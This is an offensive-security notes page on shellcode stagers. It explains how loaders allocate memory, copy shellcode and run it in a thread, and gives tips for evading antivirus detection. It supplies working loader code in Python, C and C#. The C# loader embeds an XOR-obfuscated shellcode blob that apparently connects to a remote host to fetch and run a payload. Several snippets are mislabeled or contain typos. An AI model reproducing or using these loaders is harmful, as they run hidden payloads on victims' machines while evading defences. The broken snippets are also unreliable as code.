# Stagers

## Stagers:

#### Stagers general:&#x20;

* allocate memory (length of shellcode) to inject into memory&#x20;
* Once memory has been allocated - write the shellcode into memory
* create a thread that executed the shellcode written into the current process (ensuring when the process injected into doesn't die) &#x20;
* keep current process running until the thread (beacon session) exits

#### Stagers function calls:&#x20;

* `VirtualAlloc` - Allocates memory
* `RtlMoveMemory` - Copies shellcode into space allocated by VirtualAlloc call
* `CreateThreat` - Creates threat that executed shellcode&#x20;
* `WaitForSingleObject` - Tells program to wait until threate created exists before closing

#### potential AV catch points:

* allocating memory with RWX (ReadWriteExecute) (hex: 0x40) (hex:0x04 RW) (<https://learn.microsoft.com/en-us/windows/win32/memory/memory-protection-constants>)
* looking for function calls that use them three in quick sucessions
* don't compile using Linux/mingw/Wine&#x20;

## Basic stagers:

Only need RWX if you're using an encoded shellcode. Stage\_encoding can occur OTW &#x20;

```python
import ctypes 
shellcode = b"BUFFER_SHELLCODE"
allocated_memory = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(shellcode)),ctypes.c_int(0x300),ctypes.c_int(0x04))
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(allocated_memory),shellcode,ctypes.c_int(len(shellcode)))
changed_protections = ctypes.windll.kernel32.VirtualProtect(ctypes.c_int(allocated_memory),ctypes.c_int(len(shellcode)),ctypes.c_int(0x10),ctypes.byref(ctypes.c_unint32(0)))
thread_running_shellcode = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctpyes.c_int(0),ctpyes.c_int(allocated_memory),ctypes.c_int(0),ctypes.c_int(0),ctypes.pointer(ctypes.c_int(0)))
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(thread_running_shellcode),ctypes.c_int(-1))
```

#### C#:

```csharp
#include <windows.h>
#include <stdio.h>
#include <string.h>
int main()
{
    LPVOID lpvAddr;
    HANDLE hHand;
    DWORD dwWaitResult;
    DWORD threadID;
unsigned char buff[] = "BUFFER_SHELLCODE";

lpvAddr = VirtualAlloc(Null, strlen(buff),0x3000,0x40);
RtlMoveMemory(lpvAddr, buff, strlen(buff));
hHand = CreateThread(NULL, 0, lpvaddr, NULL, 0, &ThreadID);
dwWaitResult = WaitForSingleObject(hHand, INFINITE);
return 0
}
```

## c++:

using system; using System.Net; using System.Net.Sockets; using System.Runting.InteropServices; using System.Threading;

namespace slksdf { class ajksnlksdf { \[DllImport("Kernel32")] private static extern UInt32 HeapCreate(UInt32 HeapCreate1,UInt32 HeapCreate2, UInt32 HeapCreate3);

```cpp
using System;
using System.Net;
using System.Net.Sockets;
using System.Runtime.InteropServices;
using System.Threading;

namespace slksdf
{
    class ajksnlksdf
    {
        [DllImport("Kernel32")] 
        private static extern UInt32 HeapCreate(UInt32 HeapCreate1, UInt32 HeapCreate2, UInt32 HeapCreate3);
        [DllImport("Kernel32")] 
        private static extern UInt32 HeapAlloc(UInt32 HeapAlloc1, UInt32 HeapAlloc2, UInt32 HeapAlloc3);
        [DllImport("Kernel32")] 
        private static extern UInt32 RtlMoveMemory(UInt32 RtlMoveMemory1, byte[] RtlMoveMemoryByte, UInt32 RtlMoveMemory3);
        [DllImport("Kernel32")] 
        private static extern IntPtr CreateThread(UInt32 CreateThread1, UInt32 CreateThread2, UInt32 CreateThread3, IntPtr CreateThread4, UInt32 CreateThread5, ref UInt32 CreateThread6);
        [DllImport("Kernel32")] 
        private static extern IntPtr WaitForSingleObject(IntPtr WaitForSingleObject1, UInt32 WaitForSingleObject2);
        static void Main()
        {
            byte[] BYTE = { 0x94, 0x20, 0xeb, 0x8c, 0x98, 0x80, 0xa4, 0x68, 0x68, 0x68, 0x29, 0x39, 0x29, 0x38, 0x3a, 0x39, 0x3e, 0x20, 0x59, 0xba, 0x0d, 0x20, 0xe3, 0x3a, 0x08, 0x20, 0xe3, 0x3a, 0x70, 0x20, 0xe3, 0x3a, 0x48, 0x20, 0x67, 0xdf, 0x22, 0x22, 0x25, 0x59, 0xa1, 0x20, 0xe3, 0x1a, 0x38, 0x20, 0x59, 0xa8, 0xc4, 0x54, 0x09, 0x14, 0x6a, 0x44, 0x48, 0x29, 0xa9, 0xa1, 0x65, 0x29, 0x69, 0xa9, 0x8a, 0x85, 0x3a, 0x29, 0x39, 0x20, 0xe3, 0x3a, 0x48, 0xe3, 0x2a, 0x54, 0x20, 0x69, 0xb8, 0x0e, 0xe9, 0x10, 0x70, 0x63, 0x6a, 0x67, 0xed, 0x1a, 0x68, 0x68, 0x68, 0xe3, 0xe8, 0xe0, 0x68, 0x68, 0x68, 0x20, 0xed, 0xa8, 0x1c, 0x0f, 0x20, 0x69, 0xb8, 0x38, 0xe3, 0x20, 0x70, 0x2c, 0xe3, 0x28, 0x48, 0x21, 0x69, 0xb8, 0x8b, 0x3e, 0x20, 0x97, 0xa1, 0x29, 0xe3, 0x5c, 0xe0, 0x20, 0x69, 0xbe, 0x25, 0x59, 0xa1, 0x20, 0x59, 0xa8, 0xc4, 0x29, 0xa9, 0xa1, 0x65, 0x29, 0x69, 0xa9, 0x50, 0x88, 0x1d, 0x99, 0x24, 0x6b, 0x24, 0x4c, 0x60, 0x2d, 0x51, 0xb9, 0x1d, 0xb0, 0x30, 0x2c, 0xe3, 0x28, 0x4c, 0x21, 0x69, 0xb8, 0x0e, 0x29, 0xe3, 0x64, 0x20, 0x2c, 0xe3, 0x28, 0x74, 0x21, 0x69, 0xb8, 0x29, 0xe3, 0x6c, 0xe0, 0x20, 0x69, 0xb8, 0x29, 0x30, 0x29, 0x30, 0x36, 0x31, 0x32, 0x29, 0x30, 0x29, 0x31, 0x29, 0x32, 0x20, 0xeb, 0x84, 0x48, 0x29, 0x3a, 0x97, 0x88, 0x30, 0x29, 0x31, 0x32, 0x20, 0xe3, 0x7a, 0x81, 0x23, 0x97, 0x97, 0x97, 0x35, 0x20, 0x59, 0xb3, 0x3b, 0x21, 0xd6, 0x1f, 0x01, 0x06, 0x01, 0x06, 0x0d, 0x1c, 0x68, 0x29, 0x3e, 0x20, 0xe1, 0x89, 0x21, 0xaf, 0xaa, 0x24, 0x1f, 0x4e, 0x6f, 0x97, 0xbd, 0x3b, 0x3b, 0x20, 0xe1, 0x89, 0x3b, 0x32, 0x25, 0x59, 0xa8, 0x25, 0x59, 0xa1, 0x3b, 0x3b, 0x21, 0xd2, 0x52, 0x3e, 0x11, 0xcf, 0x68, 0x68, 0x68, 0x68, 0x97, 0xbd, 0x80, 0x67, 0x68, 0x68, 0x68, 0x59, 0x51, 0x5a, 0x46, 0x59, 0x5e, 0x50, 0x46, 0x5d, 0x51, 0x46, 0x59, 0x5b, 0x5b, 0x68, 0x32, 0x20, 0xe1, 0xa9, 0x21, 0xaf, 0xa8, 0x28, 0x77, 0x68, 0x68, 0x25, 0x59, 0xa1, 0x3b, 0x3b, 0x02, 0x6b, 0x3b, 0x21, 0xd2, 0x3f, 0xe1, 0xf7, 0xae, 0x68, 0x68, 0x68, 0x68, 0x97, 0xbd, 0x80, 0xa2, 0x68, 0x68, 0x68, 0x47, 0x3b, 0x51, 0x09, 0x3b, 0x58, 0x07, 0x02, 0x5c, 0x37, 0x12, 0x5b, 0x0b, 0x3f, 0x51, 0x59, 0x32, 0x1d, 0x2f, 0x09, 0x1f, 0x22, 0x39, 0x22, 0x31, 0x30, 0x0e, 0x26, 0x1f, 0x09, 0x09, 0x31, 0x00, 0x0f, 0x3a, 0x1a, 0x1b, 0x10, 0x3d, 0x12, 0x24, 0x26, 0x37, 0x02, 0x3e, 0x05, 0x32, 0x59, 0x5f, 0x12, 0x27, 0x2b, 0x0b, 0x05, 0x31, 0x0b, 0x59, 0x02, 0x5c, 0x18, 0x51, 0x11, 0x5e, 0x24, 0x1d, 0x21, 0x09, 0x2c, 0x12, 0x2f, 0x10, 0x1d, 0x19, 0x23, 0x45, 0x18, 0x5c, 0x32, 0x2f, 0x00, 0x23, 0x39, 0x0a, 0x0d, 0x1e, 0x32, 0x1e, 0x5b, 0x3c, 0x5f, 0x24, 0x20, 0x0c, 0x27, 0x1f, 0x31, 0x38, 0x19, 0x06, 0x2c, 0x58, 0x3a, 0x23, 0x12, 0x2f, 0x0e, 0x58, 0x38, 0x2a, 0x07, 0x58, 0x0b, 0x3c, 0x30, 0x06, 0x27, 0x20, 0x39, 0x24, 0x12, 0x31, 0x1e, 0x1b, 0x0f, 0x03, 0x1e, 0x18, 0x3e, 0x27, 0x04, 0x38, 0x2a, 0x3b, 0x21, 0x3e, 0x32, 0x3e, 0x0a, 0x02, 0x02, 0x1e, 0x3b, 0x3c, 0x3b, 0x19, 0x04, 0x2e, 0x5f, 0x03, 0x03, 0x3e, 0x06, 0x0d, 0x0d, 0x21, 0x45, 0x30, 0x38, 0x2f, 0x32, 0x01, 0x32, 0x29, 0x11, 0x0e, 0x51, 0x32, 0x31, 0x26, 0x05, 0x06, 0x05, 0x59, 0x59, 0x1f, 0x2a, 0x02, 0x1c, 0x0a, 0x5e, 0x10, 0x19, 0x5a, 0x0c, 0x1c, 0x27, 0x26, 0x3f, 0x3a, 0x5d, 0x5f, 0x2c, 0x2c, 0x0e, 0x11, 0x18, 0x10, 0x59, 0x24, 0x30, 0x04, 0x68, 0x20, 0xe1, 0xa9, 0x3b, 0x32, 0x29, 0x30, 0x25, 0x59, 0xa1, 0x3b, 0x20, 0xd0, 0x68, 0x6a, 0x40, 0xec, 0x68, 0x68, 0x68, 0x68, 0x38, 0x3b, 0x3b, 0x21, 0xaf, 0xaa, 0x83, 0x3d, 0x46, 0x53, 0x97, 0xbd, 0x20, 0xe1, 0xae, 0x02, 0x62, 0x37, 0x3b, 0x32, 0x20, 0xe1, 0x99, 0x25, 0x59, 0xa1, 0x25, 0x59, 0xa1, 0x3b, 0x3b, 0x21, 0xaf, 0xaa, 0x45, 0x6e, 0x70, 0x13, 0x97, 0xbd, 0xed, 0xa8, 0x1d, 0x77, 0x20, 0xaf, 0xa9, 0xe0, 0x7b, 0x68, 0x68, 0x21, 0xd2, 0x2c, 0x98, 0x5d, 0x88, 0x68, 0x68, 0x68, 0x68, 0x97, 0xbd, 0x20, 0x97, 0xa7, 0x1c, 0x6a, 0x83, 0xa4, 0x80, 0x3d, 0x68, 0x68, 0x68, 0x3b, 0x31, 0x02, 0x28, 0x32, 0x21, 0xe1, 0xb9, 0xa9, 0x8a, 0x78, 0x21, 0xaf, 0xa8, 0x68, 0x78, 0x68, 0x68, 0x21, 0xd2, 0x30, 0xcc, 0x3b, 0x8d, 0x68, 0x68, 0x68, 0x68, 0x97, 0xbd, 0x20, 0xfb, 0x3b, 0x3b, 0x20, 0xe1, 0x8f, 0x20, 0xe1, 0x99, 0x20, 0xe1, 0xb2, 0x21, 0xaf, 0xa8, 0x68, 0x48, 0x68, 0x68, 0x21, 0xe1, 0x91, 0x21, 0xd2, 0x7a, 0xfe, 0xe1, 0x8a, 0x68, 0x68, 0x68, 0x68, 0x97, 0xbd, 0x20, 0xeb, 0xac, 0x48, 0xed, 0xa8, 0x1c, 0xda, 0x0e, 0xe3, 0x6f, 0x20, 0x69, 0xab, 0xed, 0xa8, 0x1d, 0xba, 0x30, 0xab, 0x30, 0x02, 0x68, 0x31, 0x21, 0xaf, 0xaa, 0x98, 0xdd, 0xca, 0x3e, 0x97, 0xbd };
            for (int i = 0; i < BYTE.Length; i++)
            {
                BYTE[i] = (byte)(BYTE[i] ^ (byte)'h');
            }
            UInt32 CreateHeap = HeapCreate(0x00040000, (UInt32)BYTE.Length, 0);
            UInt32 AllocHeap = HeapAlloc(CreateHeap, 0x00000008, (UInt32)BYTE.Length);
            RtlMoveMemory(AllocHeap, BYTE, (UInt32)BYTE.Length);
            UInt32 Zero = 0;
            IntPtr ThreadCreate = CreateThread(0, 0, AllocHeap, IntPtr.Zero, 0, ref Zero);
            WaitForSingleObject(ThreadCreate, 0xFFFFFFF);
        }
    }
}
```
